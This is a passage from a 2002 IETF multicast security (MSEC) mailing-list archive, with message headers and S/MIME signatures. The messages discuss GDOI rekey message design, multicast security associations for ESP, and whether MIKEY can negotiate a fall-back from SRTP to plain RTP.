VQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2Vy
dmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwdOqDANBgkq
hkiG9w0BAQEFAASBgCwQXLp5eicmv25FZKfP4VEfJRf5t6OcEPXjCozSPJacWAhfjIUQx8OOqpkU
AUnFJGGfh40lzg0/1U43IbE4bMLXkdo5m1B4uFf/lhBCfio7QZlMA73sDL+RofaOmIONyf17nhta
KEwHQqYD1XlRbPFgps1GBXB2QnecLM/mGrRiAAAAAAAA

------=_NextPart_000_0031_01C2240E.E5BBAFE0--


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Fri Jul  5 19:57:31 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25345
	for <msec-archive@odin.ietf.org>; Fri, 5 Jul 2002 19:57:30 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id D3F01539E6; Fri,  5 Jul 2002 19:52:20 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 5B385535E2
	for <msec@lists.securemulticast.org>; Thu,  4 Jul 2002 11:05:28 -0400 (EDT)
Received: (qmail 70196 invoked by uid 3269); 4 Jul 2002 15:06:44 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 70187 invoked from network); 4 Jul 2002 15:06:43 -0000
Received: from rumba.cefriel.it (131.175.53.6)
  by klesh.pair.com with SMTP; 4 Jul 2002 15:06:43 -0000
Received: by rumba.cefriel.it with Internet Mail Service (5.5.2653.19)
	id <LN90SBZF>; Thu, 4 Jul 2002 17:08:27 +0200
Message-ID: <7B6D8AAF768F194EB3090A0325C85202398549@rumba.cefriel.it>
From: Luca Venturi <venturi@cefriel.it>
To: "'msec@securemulticast.org'" <msec@securemulticast.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
MIME-Version: 1.0
Content-Type: multipart/signed;
	protocol="application/x-pkcs7-signature";
	micalg=SHA1;
	boundary="----=_NextPart_000_0037_01C2237D.648FE030"
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Subject: [MSEC] a question about the new GDOI draft
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Thu, 4 Jul 2002 17:08:19 +0200

This is a multi-part message in MIME format.

------=_NextPart_000_0037_01C2237D.648FE030
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I see that in the new GDOI draft the decision has been taken to adopt
Solution 1 among Brian's proposals with the introduction of two complete
rekeys. The reason for this choice seems to be the will to avoid double
encryption for the TEK (and consequent computational additional efforts
for the involved hosts , not to mention the implementation difficulties)
that would be otherwise required in Solutions 2 and 3. 

At least these are the disadvantages mentioned by Brian himself, when he
wrote about super-encryption, as I am quoting from his original first
email: 

" ... Solution 2: Leave the KD payload intact. That is, allow it to
contain both the KEK and TEK keys. But require the TEK portion of the KD
payload to be super-encrypted with the new KEK. This maintains
efficiency, but requires extra processing to that portion of the KD
payload which is super-encrypted. This is a  minimal (but subtle) change
to the GROUPKEY-PUSH protocol. However it does add substantial
complexity to the construction and processing of the KD payload.

Solution 3: Allow two KD payloads in the GROUPKEY-PUSH message, one
which would contain the KEK keys. The other would the TEK keys and be
super-encrypted with the new KEK. This is the most change to the draft,
but does provide the desired efficiency and is the cleanest overall
design. ... "

If things are like this, there's something I can't figure out:
double encryption (say, super-encryption) occurs also in the fourth
message of the GROUPKEY-PULL exchange, when the two parties agree on the
use the optional [KE_I] and [KE_R] payloads for the creation of an
additional Diffie-Hellman key. Indeed, in that case, according to
section 3.2.1 of the old draft, the KD payload is "xored" with the DH
key and the whole messagge is encrypted with the key from the SA
established during phase 1. 
That's quite the same that would occur to the KD payload of the
GROUPKEY-PUSH message in the case of Solutions 2 or 3. Why isn't it
possible to "xor" the part of the KD payload that contains the TEK with
the new KEK and finally to encrypt the whole message with the current
KEK?  That doesn't seem to add much more complexity than in the
described situation of the GROUPKEY-PULL phase. The same solution might
be taken for the PUSH message, in order to adopt one among Solutions 2
and 3, as I don't see the point in renouncing to the chance of using the
more efficient solution that consists of one single message for the
GROUPKEY-PUSH message (eventually splitting up the KD in two parts,
according to Solution 3, which provides "the desired efficiency and is
the cleanest overall design"). But maybe, there are other reasons that
lead to the choice of Solution 1, that I did not understand. I would
like to know someone else's opinion about this issue.

Best regards

Luca

------=_NextPart_000_0037_01C2237D.648FE030
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Disposition: attachment;
	filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJBjCCApUw
ggH+oAMCAQICAwdOqDANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT
FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw
MC44LjMwMB4XDTAyMDQyNDA4MjkxMFoXDTAzMDQyNDA4MjkxMFowWzEQMA4GA1UEBBMHVmVudHVy
aTENMAsGA1UEKhMETHVjYTEVMBMGA1UEAxMMTHVjYSBWZW50dXJpMSEwHwYJKoZIhvcNAQkBFhJ2
ZW50dXJpQGNlZnJpZWwuaXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOgHZQCZdsGNot5Q
YmndQCvzq6nDbZ+xmmg/6TKEX6jenb+63EF8tByDzQiIkc8Y/WLT3bI9zCpRy1UYU2Zg4sZGXP7B
z227my7ALv/VGupqAVuNyCDhjBVLJyRnciyNTTIs7Oyn6e9E+F8Z3ruUZBaGl5rZpVsYDQk19qV/
Ve81AgMBAAGjLzAtMB0GA1UdEQQWMBSBEnZlbnR1cmlAY2VmcmllbC5pdDAMBgNVHRMBAf8EAjAA
MA0GCSqGSIb3DQEBBAUAA4GBAAY0MATZYldnFSlYb68pavbpY7awj6gnv8e2jAw/uogsoZFJkkDo
aTsImz+f6HIt1meCGLlzM3HDLdKMuWOnKjs0aBldYsdUThi+LJC5KkgepHi92/WpX6IQToSKuX3P
Q20Y/tM5qfA3sTw1xTRpanbJumiA82fDhYjrjuwvPQ0dMIIDLTCCApagAwIBAgIBADANBgkqhkiG
9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ
Q2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNh
dGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
IENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTk2MDEw
MTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAm
BgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhh
d3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1GnX1LCUZFtx6UfYDFG26nKRsIRe
fS0Nj3sS34UldSh0OkIsYyeflXtL734Zhx2G6qPduc6WZBrCFG5ErHzmj+hND3EfQDimAKOHePb5
lIZererAXnbr2RSjXW56fAylS1V/Bhkpf56aJtVquzgkCGqYx7Hao5iR/Xnb5VrEHLkCAwEAAaMT
MBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQDH7JJ+Tvj1lqVnYiqk8E0RYNBv
jWBYYawmu1I1XAjPMPuoSpaKH2JCI4wXD/S6ZJwXrEcp352YXtJsYHFcoqzceePnbgBHH7UNKOgC
neSa/RP0ptl8sfjcXyMmCZGAc9AUG95DqYMl8uacLxXK/qarigd1iwzdUYRr5PjRzneigTCCAzgw
ggKhoAMCAQICEGZFcrfMdPXPY3ZFhNAukQEwDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpB
MRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhh
d3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24x
JDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVy
c29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0wMDA4MzAwMDAwMDBaFw0wNDA4MjcyMzU5NTla
MIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRv
d24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNV
BAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBAN4zMqZjxwklRT7SbngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0caCj
bZjxw0+iZdsN+kvx1t1hpfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBRh4M88Dm0
m1SKE4f/s5udSWYALQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQ
cml2YXRlTGFiZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQEAwIBBjANBgkqhkiG
9w0BAQQFAAOBgQAxsUtHXfkBceX1U2xdedY9mMAmE2KBIqcS+CKV6BtJtyd7BDm6/ObyJOuR+r3s
DSo491BVqGz3Da1MG7wD9LXrokefbKIMWI0xQgkRbLAaadErErJAXWr5edDqLiXdiuT82w0fnQLz
WtvKPPZE6iZph39Ins6ln+eE2MliYq0FxjGCAqowggKmAgEBMIGaMIGSMQswCQYDVQQGEwJaQTEV
MBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0
ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVt
YWlsIFJTQSAyMDAwLjguMzACAwdOqDAJBgUrDgMCGgUAoIIBZTAYBgkqhkiG9w0BCQMxCwYJKoZI
hvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMjA3MDQxNTA4MThaMCMGCSqGSIb3DQEJBDEWBBT7rlS3
MKIaHifkvk851PMZBLpY/TBYBgkqhkiG9w0BCQ8xSzBJMAoGCCqGSIb3DQMHMA4GCCqGSIb3DQMC
AgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMCGjAKBggqhkiG9w0CBTCBqwYJKwYB
BAGCNxAEMYGdMIGaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD
VQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2Vy
dmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwdOqDANBgkq
hkiG9w0BAQEFAASBgFqBYg3NHVltUQrMbbRzePPH519vZqgjW0WxoGIpTubWkZs7HCmvJgFkb8kD
UUUWTElRcDsNwgzIuc/0OyA59OF3B5WFuve5XnLVjEtsa7bF79cL60ogBz6vepSDSfseMGnLJvVU
IV8ky+bjilvnQsT7TBaZBHrFR6dY8l5JMrjIAAAAAAAA

------=_NextPart_000_0037_01C2237D.648FE030--


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Wed Jul 10 12:55:32 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA11019
	for <msec-archive@odin.ietf.org>; Wed, 10 Jul 2002 12:55:27 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 35A07539B3; Wed, 10 Jul 2002 12:53:13 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id C416953682
	for <msec@lists.securemulticast.org>; Wed, 10 Jul 2002 12:52:54 -0400 (EDT)
Received: (qmail 3108 invoked by uid 3269); 10 Jul 2002 16:54:26 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 3105 invoked from network); 10 Jul 2002 16:54:26 -0000
Received: from sj-msg-core-3.cisco.com (171.70.157.152)
  by klesh.pair.com with SMTP; 10 Jul 2002 16:54:26 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id g6AGrbGs019720;
	Wed, 10 Jul 2002 09:53:42 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ABZ74654;
	Wed, 10 Jul 2002 09:51:24 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020709135351.0251a3f0@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: Bill Fenner <fenner@research.att.com>
From: Mark Baugher <mbaugher@cisco.com>
Cc: ipsec@lists.tislabs.com, msec@securemulticast.org
In-Reply-To: <200207091659.JAA15664@windsor.research.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Wed, 10 Jul 2002 09:51:28 -0700

At 09:59 AM 7/9/2002 -0700, Bill Fenner wrote:

> >First, section 2.2 deprecates sharing an SA among multiple senders to a
> >multicast group and in effect mandates single-sender multicast for ESP
> >groups.  The same is true for AH.  I'm aware of only one protocol, the VRRP
> >specification, that is affected by this change.  VRRP uses AH or ESP but
> >allows multi-source multicast groups.  We should notify the VRRP WG of this
> >potential change.
>
>I brought this up at the WG meeting in Minneapolis.  Several protocols
>that send multicasts on a LAN use this model (VRRP, OSPFv3, PIM,
>IGMP come to mind).

Yes, of course, though a number of people think that IGMP security is
needless (and voiced that in the last gsec meeting).  You made an
important point in your previous note about SSM and the usefulness
of the source address to identifying the multicast SA.


>I'd like to see two possible modes for use with multicast:
>- anti-replay sequence number per sender, with a shared SA.
>- including the source address when demultiplexing to permit SSM semantics.
>
>I know that at least the first is completely opposite of the direction
>that the group has been going.  However, especially with 64-bit anti-replay
>sequence numbers, it permits protocols to use a standard, existing protocol
>even when using static shared SAs.  Yes, a static shared SA buys you much
>less protection than dynamically negotiated ones, but does that mean that it
>should be ruled out?

I don't understand the distinction between static and dynamic SAs.
Is the distinction between a single-sender multicast SA versus
a multi-sender multicast SA?

I think that it is a more robust solution to identify the multicast
SA using the source address as well as the SPI and destination
address.  This is what many of us who worked in smug thought we
would do with MESP.  Now that Steve is addressing multicast in
ESP and AH, it's not clear to me how msec should proceed with
MESP.

Mark


>   Bill


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Thu Jul 11 06:03:27 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA14582
	for <msec-archive@odin.ietf.org>; Thu, 11 Jul 2002 06:03:26 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 8F78653C64; Thu, 11 Jul 2002 05:50:10 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 6384653DD2
	for <msec@lists.securemulticast.org>; Thu, 11 Jul 2002 05:32:40 -0400 (EDT)
Received: (qmail 44676 invoked by uid 3269); 11 Jul 2002 09:34:13 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 44673 invoked from network); 11 Jul 2002 09:34:13 -0000
Received: from gorilla.mchh.siemens.de (194.138.158.18)
  by klesh.pair.com with SMTP; 11 Jul 2002 09:34:13 -0000
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id LAA17145;
	Thu, 11 Jul 2002 11:34:05 +0200 (MET DST)
Received: from mchh168e.mch4.siemens.de ([139.21.130.175])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id LAA01997;
	Thu, 11 Jul 2002 11:34:07 +0200 (MET DST)
Received: by mchh168e.mch4.siemens.de with Internet Mail Service (5.5.2653.19)
	id <MYYX66JQ>; Thu, 11 Jul 2002 11:34:09 +0200
Message-ID: <DA6599EBFD6CF042B0B77964CFF6209553035F@MCHH162E>
From: Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
To: msec@securemulticast.org,
        Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
Cc: "'Fredrik Lindholm (ERA)'" <Fredrik.Lindholm@era.ericsson.se>,
        "'msec@securemulticast.org'" <msec@securemulticast.org>,
        "'jari.arkko@ericsson.com'" <jari.arkko@ericsson.com>,
        "'elisabetta.carrara@era.ericsson.se'" <elisabetta.carrara@era.ericsson.se>,
        "'karl.norrman@era.ericsson.se'" <karl.norrman@era.ericsson.se>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [MSEC] MIKEY SRTP policy: secure negotiation of RTP with MIKEY?
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Thu, 11 Jul 2002 11:34:05 +0200

Dear all,

MIKEY allows securely negotiating SRTP capabilities (algorithms, modes,
security services) using the SRTP policy.

How can MIKEY securely negotiate that RTP instead of SRTP be used? This
would allow a secure fall-back to RTP at least.

By disabling any SRTP security features (NULL) in section 6.10.1 ?



With kind regards

Martin Euchner.
-----------------------------------------------------------------------
| Dipl.-Inf.                     Rapporteur Q.G/SG16
| Martin Euchner                 Phone: +49 89 722 55790
| Siemens AG.....................Fax  : +49 89 722 47713
| ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
|                                mailto:martin.euchner@ties.itu.int
| Hofmannstr. 51                 Intranet:
http://intranet.icn.siemens.de/marketing/cs27/topics/security/
| D-81359 Muenchen               Internet: http://www.siemens.de/
| __________________
| Germany     
-----------------------------------------------------------------------


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Thu Jul 11 06:17:58 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA14747
	for <msec-archive@odin.ietf.org>; Thu, 11 Jul 2002 06:17:58 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 9F4315382A; Thu, 11 Jul 2002 06:02:05 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id D562A53C3C
	for <msec@lists.securemulticast.org>; Thu, 11 Jul 2002 05:48:26 -0400 (EDT)
Received: (qmail 45747 invoked by uid 3269); 11 Jul 2002 09:50:00 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 45744 invoked from network); 11 Jul 2002 09:50:00 -0000
Received: from albatross-ext.wise.edt.ericsson.se (HELO albatross.wise.edt.ericsson.se) (193.180.251.49)
  by klesh.pair.com with SMTP; 11 Jul 2002 09:50:00 -0000
Received: from esealnt610.al.sw.ericsson.se (esealnt610.al.sw.ericsson.se [153.88.254.69])
	by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g6B9ntrU004469;
	Thu, 11 Jul 2002 11:49:55 +0200 (MEST)
Received: by esealnt610.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <3SKCBLXM>; Thu, 11 Jul 2002 11:49:55 +0200
Message-ID: <0DAEDF148988D411BB980008C7E65D2E070CBC9B@esealnt416>
From: "Fredrik Lindholm (EAB)" <Fredrik.Lindholm@era.ericsson.se>
To: "'Euchner Martin  ICN M SR 3'" <Martin.Euchner@icn.siemens.de>,
        msec@securemulticast.org
Cc: "'jari.arkko@ericsson.com'" <jari.arkko@ericsson.com>,
        "Elisabetta Carrara (EAB)" <Elisabetta.Carrara@era.ericsson.se>,
        "Karl Norrman (EAB)" <Karl.Norrman@era.ericsson.se>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [MSEC] RE: MIKEY SRTP policy: secure negotiation of RTP with MIKEY?
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Thu, 11 Jul 2002 11:48:43 +0200


Hi Martin!

In IKE, do you negotiate IP instead of IPsec if the responder 
do not support security? I don't think this make sense. If 
the guy doesn't support security, then you may go out (in 
the case of SIP) with a new Invite setting up RTP instead of 
SRTP only if your local policy allows you to. Recall also that SRTP 
and "normal" RTP are different profiles (see also my previous 
comment at the mmusic list http://www1.ietf.org/mail-archive/working-groups/mmusic/current/msg00596.html). 

BR,
Fredrik

> 
> Dear all,
> 
> MIKEY allows securely negotiating SRTP capabilities 
> (algorithms, modes,
> security services) using the SRTP policy.
> 
> How can MIKEY securely negotiate that RTP instead of SRTP be 
> used? This
> would allow a secure fall-back to RTP at least.
> 
> By disabling any SRTP security features (NULL) in section 6.10.1 ?
> 
> 
> 
> With kind regards
> 
> Martin Euchner.
> --------------------------------------------------------------
> ---------
> | Dipl.-Inf.                     Rapporteur Q.G/SG16
> | Martin Euchner                 Phone: +49 89 722 55790
> | Siemens AG.....................Fax  : +49 89 722 47713
> | ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
> |                                mailto:martin.euchner@ties.itu.int
> | Hofmannstr. 51                 Intranet:
> http://intranet.icn.siemens.de/marketing/cs27/topics/security/
> | D-81359 Muenchen               Internet: http://www.siemens.de/
> | __________________
> | Germany     
> --------------------------------------------------------------
> ---------
> 

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Thu Jul 11 11:59:09 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22410
	for <msec-archive@odin.ietf.org>; Thu, 11 Jul 2002 11:59:07 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id E1B4153E5D; Thu, 11 Jul 2002 11:46:52 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 7E14A5359C
	for <msec@lists.securemulticast.org>; Thu, 11 Jul 2002 08:14:15 -0400 (EDT)
Received: (qmail 59239 invoked by uid 3269); 11 Jul 2002 12:15:49 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 59236 invoked from network); 11 Jul 2002 12:15:49 -0000
Received: from albatross-ext.wise.edt.ericsson.se (HELO albatross.wise.edt.ericsson.se) (193.180.251.49)
  by klesh.pair.com with SMTP; 11 Jul 2002 12:15:49 -0000
Received: from esealnt610.al.sw.ericsson.se (esealnt610.al.sw.ericsson.se [153.88.254.69])
	by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g6BCFlrU011858;
	Thu, 11 Jul 2002 14:15:47 +0200 (MEST)
Received: by esealnt610.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <3SKCC8YJ>; Thu, 11 Jul 2002 14:15:47 +0200
Message-ID: <0DAEDF148988D411BB980008C7E65D2E070CBC9C@esealnt416>
From: "Fredrik Lindholm (EAB)" <Fredrik.Lindholm@era.ericsson.se>
To: "'Euchner Martin  ICN M SR 3'" <Martin.Euchner@icn.siemens.de>,
        msec@securemulticast.org
Cc: "'jari.arkko@ericsson.com'" <jari.arkko@ericsson.com>,
        "Elisabetta Carrara (EAB)" <Elisabetta.Carrara@era.ericsson.se>,
        "Karl Norrman (EAB)" <Karl.Norrman@era.ericsson.se>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [MSEC] RE: MIKEY SRTP policy: secure negotiation of RTP with MIKEY?
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Thu, 11 Jul 2002 14:14:43 +0200

> 
> Hello Fredrick,
> 
> considering an environment with an endpoint supporting MIKEY 
> but not SRTP
> (yet), the method you described would work in general where 
> the responder
> rejects and another negotiation attempt be made, but this 
> clearly introduces
> another roundtrip. This is bad for a real-time environment 
> where the prime
> goal is to minimize roundtrips as in MIKEY.

I think the goal should be to be able to setup a secure session 
in one round-trip during ordinary circumstances. I see no reason 
why to try to optimize it for extraordinary circumstances. Anyway, 
I see more security problems with having a quick fallback and 
personally I would never advice anyone to use a quick fallback 
mode. IMHO, the user trying to setup the secure session should 
always be notified and given the possibility to choose how to 
